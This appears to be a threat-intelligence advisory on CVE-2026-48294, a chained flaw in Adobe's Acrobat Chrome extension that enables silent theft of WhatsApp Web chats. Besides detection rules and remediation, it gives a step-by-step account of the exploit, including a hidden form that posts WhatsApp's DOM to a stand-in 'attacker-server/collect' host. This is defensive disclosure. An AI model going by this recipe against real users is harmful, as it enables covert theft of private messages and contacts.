Skip to navigation

Threat reportVulnerabilityTL-2026-1637

CVE-2026-48294 ("HermeticReader"): Adobe Acrobat Chrome Extension Flaw Chain Enables Silent WhatsApp Web Data Theft

highPATCHED

A chained set of flaws in the Adobe Acrobat PDF Extension for Chrome (extension ID efaidnbmnnnibpcajpcglclefindmkaj, ~314-329M installs) let any attacker-controlled webpage forge internal extension messages, activate the dormant "Hermes" WhatsApp-integration engine via an unauthenticated feature-flag write, predict the numeric Chrome tab ID of a background WhatsApp Web tab, and inject a hidden POST form that relocates WhatsApp's live DOM into a value-less <option> element so submitting the form exfiltrates the entire rendered chat list, contacts, profile name and message …

Key facts

IdentifiersTL-2026-1637, CVE-2026-48294
Also known asHermeticReader
SeverityHIGH
CVSS7.4 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N)
EPSSCVE-2026-48294: 1.2% (67.6th percentile)
Affected productsAdobe Adobe Acrobat PDF Extension for Chrome
Weaknesses (CWE)CWE-79, CWE-346, CWE-284, CWE-863
ToolsGuardio Labs agentic AI extension-analysis harness
MITRE ATT&CK techniquesT1005 Data from Local System, T1041 Exfiltration Over C2 Channel, T1071.001 Application Layer Protocol: Web Protocols, T1111 Multi-Factor Authentication Interception, T1112 Modify Registry, T1176 Software Extensions, T1185 Browser Session Hijacking, T1189 Drive-by Compromise, T1204.001 User Execution: Malicious Link, T1211 Exploitation for Stealth, T1213 Data from Information Repositories, T1217 Browser Information Discovery and 8 more in the attack flow
MotivationUNKNOWN
Target sectorsall sectors using chrome whatsapp web, enterprise, consumer
Target regionsGlobal
Detection rules9 (1 shown free)
Sources9 cited sources

Detection coverage

As of 2026-07-25, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-1637 across Splunk SPL, Microsoft KQL and Sigma, covering 24 indicator(s) of compromise. The whole corpus is readable without an account. Every threat comes with one complete detection in Splunk SPL, Microsoft KQL and Sigma, free for everyone; a free account adds daily TL Creds to unlock the rest. Paid plans add a larger daily allowance, correlation and the MCP server. Threadlinqs MCP server · View plans.

Free detection: HermeticReader — Value-less <option> Form-Submission DOM Exfiltration From web.whatsapp.com

Detects the C2/exfiltration finale of the HermeticReader chain: a programmatic cross-origin POST originating from the web.whatsapp.com context (no matching user-click/navigation event) to a destination host outside WhatsApp's own domains, consistent with the ELEMENT_OPERATION-driven relocation of WhatsApp's live DOM into a value-less <select><option> and subsequent form.submit(), exfiltrating the full rendered chat list, contacts, and message previews.

  • Languages: Splunk SPL, Microsoft KQL, Sigma
  • ATT&CK: T1567, T1071.001, T1005, T1213, T1185
  • Data sources: web_proxy_logs, DeviceNetworkEvents (Microsoft Defender for Endpoint)
  • Severity: critical
  • Confidence: high

Splunk SPL

index=web sourcetype=proxy http_method=POST http_referrer="*web.whatsapp.com*"
| where NOT match(dest_host, "(?i)\.whatsapp\.(net|com)$")
| eval has_click_event=coalesce(has_click_event,"false")
| where has_click_event="false"
| stats count min(_time) as first_seen values(dest_host) as dest_hosts values(bytes_out) as bytes_out by src_ip, user
| where count > 0
| eval first_seen=strftime(first_seen,"%Y-%m-%d %H:%M:%S")

Microsoft KQL

DeviceNetworkEvents
| where TimeGenerated > ago(24h)
| where InitiatingProcessAdditionalFields has "web.whatsapp.com" or RemoteUrl has "web.whatsapp.com"
| where ActionType == "HttpPost" or Protocol == "Http"
| where not(RemoteUrl has ".whatsapp.net" or RemoteUrl has ".whatsapp.com")
| extend HasClickEvent = tostring(parse_json(InitiatingProcessAdditionalFields).has_click_event)
| where HasClickEvent != "true"
| project TimeGenerated, DeviceName, InitiatingProcessAccountName, RemoteUrl, RemoteIP
| summarize Count=count(), FirstSeen=min(TimeGenerated), Destinations=make_set(RemoteUrl) by DeviceName, InitiatingProcessAccountName
| order by Count desc

Sigma

title: Cross-Origin Form POST Immediately Following Chrome Extension DOM ELEMENT_OPERATION on WhatsApp Web
id: 8a1b6f2e-0003-4a1a-9c1e-hermeticreader03
status: experimental
description: Detects a programmatic cross-origin POST from the web.whatsapp.com context to a non-WhatsApp destination with no user-click event, matching the value-less-option DOM-exfiltration primitive used by HermeticReader (CVE-2026-48294) to steal the full rendered WhatsApp Web DOM.
references:
    - https://guard.io/labs/hermeticreader---the-vulnerability-that-turned-adobe-300m-install-extension-into-a-full-whatsapp-takeover
author: Threadlinqs Team
date: 2026-07-22
tags:
    - attack.exfiltration
    - attack.collection
    - attack.command_and_control
    - attack.t1567
    - attack.t1071.001
    - attack.t1005
    - attack.t1213
    - attack.t1185
    - cve.2026.48294
logsource:
    category: proxy
    product: browser_network_telemetry
detection:
    selection_referrer:
        http_referrer|contains: 'web.whatsapp.com'
    selection_method:
        http_method: 'POST'
    filter_known_good:
        dest_host|endswith: '.whatsapp.net'
    filter_user_click:
        has_click_event: 'true'
    condition: selection_referrer and selection_method and not filter_known_good and not filter_user_click
falsepositives:
    - Legitimate WhatsApp Web third-party integrations or browser extensions that perform authorized cross-origin POSTs (rare; verify against an allowlist of known-good destination hosts)
level: high

Known false positives:

  • Legitimate WhatsApp Web third-party integrations or browser extensions performing authorized cross-origin POSTs; validate against a destination-host allowlist

Tuning notes: Maintain an allowlist of legitimate WhatsApp Web integration endpoints to suppress benign cross-origin POSTs; if has_click_event / user-gesture telemetry isn't available, weight this detection lower and require correlation with TL-2026-1637-SPL-002/KQL-002 before alerting at critical severity.

8 more detection rules (Splunk SPL, Microsoft KQL, Sigma) · unlock with TL Creds. Sign up free to unlock the detection rules or query them with the Threadlinqs MCP server (Purple)
  • HermeticReader — Extension Iframe-Relay Message to Unauthenticated Service-Worker Dispatcher · unlock with TL Creds
  • HermeticReader — Predictable Chrome TabID Correlated to Feature-Flag Activation · unlock with TL Creds
  • HermeticReader — Extension Content-Script Command Dispatch ([indicator] / [indicator] / [indicator]) on Unpermissioned Tab · unlock with TL Creds
  • HermeticReader — Suspicious Extension Query-String JSON Payload (Sigma) · unlock with TL Creds
  • HermeticReader — Feature-Flag Storage Write Sigma Rule · unlock with TL Creds
  • HermeticReader — WhatsApp Web Session Data Exfiltration Sigma Rule · unlock with TL Creds
  • HermeticReader — Web-Accessible-Resource Loaded With Serialized JSON Query-String Payload · unlock with TL Creds
  • HermeticReader — Unauthenticated Feature-Flag Storage Write Activates Dormant Hermes Engine · unlock with TL Creds

Indicators of compromise

As of 2026-07-25, Threadlinqs Intelligence tracks 24 indicators of compromise for TL-2026-1637.

24 indicators of compromise · unlock with TL Creds. Compare plans

Technical analysis

A chained set of flaws in the Adobe Acrobat PDF Extension for Chrome (extension ID efaidnbmnnnibpcajpcglclefindmkaj, ~314-329M installs) let any attacker-controlled webpage forge internal extension messages, activate the dormant "Hermes" WhatsApp-integration engine via an unauthenticated feature-flag write, predict the numeric Chrome tab ID of a background WhatsApp Web tab, and inject a hidden POST form that relocates WhatsApp's live DOM into a value-less <option> element so submitting the form exfiltrates the entire rendered chat list, contacts, profile name and message previews to an attacker server. Guardio Labs (researcher Shaked Biner) used a custom agentic-AI reverse-engineering harness to find and fully weaponize the chain in roughly 4 hours of the vulnerable build shipping on June 3, 2026; Adobe patched the same weekend in version 26.5.2.3 and CVE-2026-48294 was assigned days later. No active exploitation has been confirmed.

On June 3, 2026, Adobe shipped Adobe Acrobat PDF Extension for Chrome version 26.5.2.1, which introduced a new WhatsApp Web integration feature codenamed "Hermes" that was intended to ship dormant behind a feature flag. Guardio Labs' automated extension-analysis pipeline — which unpacks every new release, de-obfuscates the extension's ~344 JavaScript files, and diffs the code against previously mapped flows including a 138-case service-worker message dispatcher — flagged the new Hermes code paths and a researcher (Shaked Biner) manually chained them into a full, zero-click, zero-malware account-data-theft exploit within about four hours.

The attack composes five separate "unremarkable" engineering shortcuts into a systemic compromise:

1. Web-accessible-resource exposure: the extension manifest exposes internal pages (frame.html, searchWidget.html, signInHandler.html) as web-accessible resources matching <all_urls>, so ANY attacker webpage can load them in a hidden iframe. frame.js parses a JSON blob directly out of the iframe's URL query string and relays it via chrome.runtime.sendMessage() as a message with main_op = "relay_to_content".

2. Missing sender verification: the background service worker's message dispatcher (sw_modules/common.js, onMessageListener(t, s, r)) never validates the `sender` argument, so a message relayed from the attacker's hidden iframe is treated as if it came from a trusted internal extension surface. A "setItem" message type writes arbitrary key/value pairs into chrome.storage.local with no allowlist.

3. Feature-flag abuse: writing the key floodgate-add with value "dc-cv-hermes" into local storage (via floodgate.js -> updateLocalFeatureFlags()) activates the dormant Hermes WhatsApp integration engine for the victim's browser, giving the attacker a live command dispatcher into any WhatsApp Web tab.

4. Predictable Tab ID: the attacker first bypasses a broken domain-prefix check (`new URL(location).host.startsWith("www.google.")`, satisfied by a domain such as www.google.attacker-domain.com) to trigger a "frictionless" search-overlay flow that stamps the attacker's own real numeric Chrome tabId into a service-worker response. Because Chrome assigns tab IDs from a monotonically increasing counter, the attacker then opens https://web.whatsapp.com via window.open() and predicts its tabId as attacker_tabId + 1 — turning what would be a blind 10-digit search into a single guess. A second sender-forgery bug in communicate.js (when a message sets `mimeHandled: true`, the handler executes `i.tab = { id: t.tabId, url: t.url }` using the attacker-supplied tabId, then `t.tabId = i.tab.id`) lets the attacker route Hermes commands to that predicted WhatsApp tab.

5. Command-driven DOM exfiltration: the WhatsApp-side content script (content_scripts/hermes/hermes-content-script.js) never validates message sender and dispatches to message-handler.js's handleCdnMessage(), which exposes four command types with no allowlisting on method names or targets: APPEND_HTML_TO_TARGET (arbitrary HTML injection — usable to swap WhatsApp's login QR code for an attacker QR, enabling full account takeover), ELEMENT_OPERATION (arbitrary DOM method invocation such as setAttribute/appendChild/submit), WINDOW_OPERATION (arbitrary window-object calls such as fetch/open/postMessage, enabling credentialed cross-origin requests as web.whatsapp.com), and RELAY_MESSAGE_TO_SERVICE_WORKER (pivots back through the unvalidated service worker).

The actual data theft never executes attacker JavaScript inside WhatsApp — it never needs to, because WhatsApp's Content-Security-Policy enforces script-src 'self' with no unsafe-eval, but has no form-action directive at all. Using only APPEND_HTML_TO_TARGET and ELEMENT_OPERATION primitives, the attacker (1) injects a hidden <form action="https://attacker-server/collect" method="POST"> containing a <select><option> with no value attribute, (2) tags WhatsApp's live <body> element with a data-hermes-id attribute, (3) uses an appendChild ELEMENT_OPERATION to physically relocate the entire live body node inside the option element, and (4) programmatically submits the form. Per the HTML specification, a value-less <option> submits its rendered text content, so FormData(form).get("dom") equals the complete rendered WhatsApp page text — chat list, contact names, message previews, the open conversation, and any OTP codes visible in the DOM — which the browser then POSTs cross-origin to the attacker's server because no form-action CSP restriction blocks it. The chain is repeatable, allowing continuous re-capture as new WhatsApp messages render.

No malware, phishing, credential theft, session-cookie theft, or Adobe account is required; the only prerequisite is that the victim (with the vulnerable Adobe Acrobat extension installed) visits any attacker-controlled webpage. Guardio disclosed to Adobe PSIRT and Adobe acknowledged, fixed, and shipped version 26.5.2.3 within the same weekend; CVE-2026-48294 was formally assigned days later with an NVD-published CVSS v3.1 base score of 7.4 (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N) under CWE-79 (Improper Neutralization of Input During Web Page Generation, i.e. Universal Cross-Site Scripting). Guardio's own writeup argues the real-world impact is closer to full account compromise given the QR-code-swap takeover path. As of reporting, Guardio principal researcher Nati Tal told BleepingComputer they have seen no indication of active in-the-wild exploitation.

MITRE ATT&CK techniques by tactic:

Collection

T1005 Data from Local System; T1185 Browser Session Hijacking; T1213 Data from Information Repositories; T1560 Archive Collected Data

Exfiltration

T1041 Exfiltration Over C2 Channel; T1567 Exfiltration Over Web Service

Command and Control

T1071.001 Application Layer Protocol: Web Protocols

Credential Access

T1111 Multi-Factor Authentication Interception; T1539 Steal Web Session Cookie

defense-impairment

T1112 Modify Registry; T1685 Disable or Modify Tools; T1686.001 Cloud Firewall

Persistence

T1176 Software Extensions

Initial Access

T1189 Drive-by Compromise

Execution

T1204.001 User Execution: Malicious Link

Defense Evasion

T1211 Exploitation for Stealth

Discovery

T1217 Browser Information Discovery; T1518 Software Discovery

Impact

T1531 Account Access Removal

privilege-escalation

T1546.016 Installer Packages

Remediation

Patches

  • Adobe Acrobat PDF Extension for Chrome version 26.5.2.3 (patched); vulnerable range is version 26.5.2.2 and all earlier releases per NVD/vendor advisory

Immediate actions

  • Confirm Adobe Acrobat PDF Extension for Chrome (ID efaidnbmnnnibpcajpcglclefindmkaj) is updated to version 26.5.2.3 or later via the Chrome Web Store
  • For managed fleets, force-update or push the ExtensionInstallForcelist/ExtensionSettings policy to require the patched minimum version
  • Enterprise admins unable to verify patch status immediately should disable the extension via Chrome enterprise policy until the update is confirmed

Workarounds

  • Temporarily disable the Adobe Acrobat Chrome extension via enterprise policy for fleets that cannot confirm the patched version is deployed
  • Avoid keeping WhatsApp Web logged in in a background tab on browsers with unpatched Adobe Acrobat extension installed

Longer-term hardening

  • Audit browser extensions with broad web_accessible_resources (<all_urls>) matches and require sender/origin validation on every chrome.runtime.onMessage listener
  • Add a form-action CSP directive to sensitive web applications (e.g. WhatsApp Web-style SPAs) to prevent DOM-exfiltration-via-form-submission techniques even when script-src is otherwise locked down
  • Treat browser-extension feature flags and remote-config keys as a privileged attack surface; require server-side or signed activation rather than unauthenticated local-storage writes
  • Avoid predictable/sequential identifiers (e.g. Chrome's monotonically increasing tab IDs) as an implicit trust boundary between extension components

Affected and fixed versions

  • Adobe — Adobe Acrobat PDF Extension for Chrome
    Vulnerable versions: 26.5.2.1; 26.5.2.2; all earlier releases
    Fixed in: 26.5.2.3

Timeline

Last updated · 2 updates · revalidated 2× · latest source

  • Guardio Labs confirms an end-to-end runtime exploit demonstrating full WhatsApp Web chat exfiltration, ahead of formal disclosure.
  • Guardio Labs discloses the full attack chain to Adobe's PSIRT.
  • Guardio Labs' agentic-AI extension-analysis harness flags the new Hermes code paths within hours of release; researcher Shaked Biner fully chains the exploit (arbitrary storage write, tab-ID prediction, DOM exfiltration) in approximately 4 hours.
  • Adobe ships Adobe Acrobat PDF Extension for Chrome version 26.5.2.1, introducing the dormant 'Hermes' WhatsApp Web integration engine that becomes the exploitation target.
  • Adobe acknowledges, fixes, and ships Adobe Acrobat PDF Extension for Chrome version 26.5.2.3 within the same weekend as the report, patching the flaw chain.
  • CVE-2026-48294 is published in NVD with CVSS v3.1 base score 7.4 (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N) under CWE-79.
  • NVD finalizes its analysis of CVE-2026-48294 (lastModified date), confirming the dual NIST and Adobe-supplied CVSS v3.1 vectors both score 7.4 (HIGH) with an exploitability sub-score of 2.8 and impact sub-score of 4.0.
  • Guardio Labs publishes the full 'HermeticReader' technical writeup, quoting the flaw as 'an unauthenticated, single-visit, zero-click write into the extension's own storage from any web page'; The Hacker News, BleepingComputer, Cybersecurity News, and CyberInsider report on the disclosure the same day.
  • Security Affairs republishes coverage of the Adobe Acrobat Chrome extension bug and the silent WhatsApp Web data theft chain.
  • GBHackers publishes follow-on coverage of the HermeticReader disclosure; Guardio's Nati Tal reiterates to press that no active in-the-wild exploitation has been observed.

Update history

Sources cited

Previous and next in vulnerability

Further reading

Drafted by the Threadlinqs research pipeline from 9 sources; published ; last updated .

Threadlinqs Intelligence — Real-Time Threat Detection Platform

// threat_feed
$ sort --newest
Showing all threats

Live intelligence console

Threat level

Latest Threats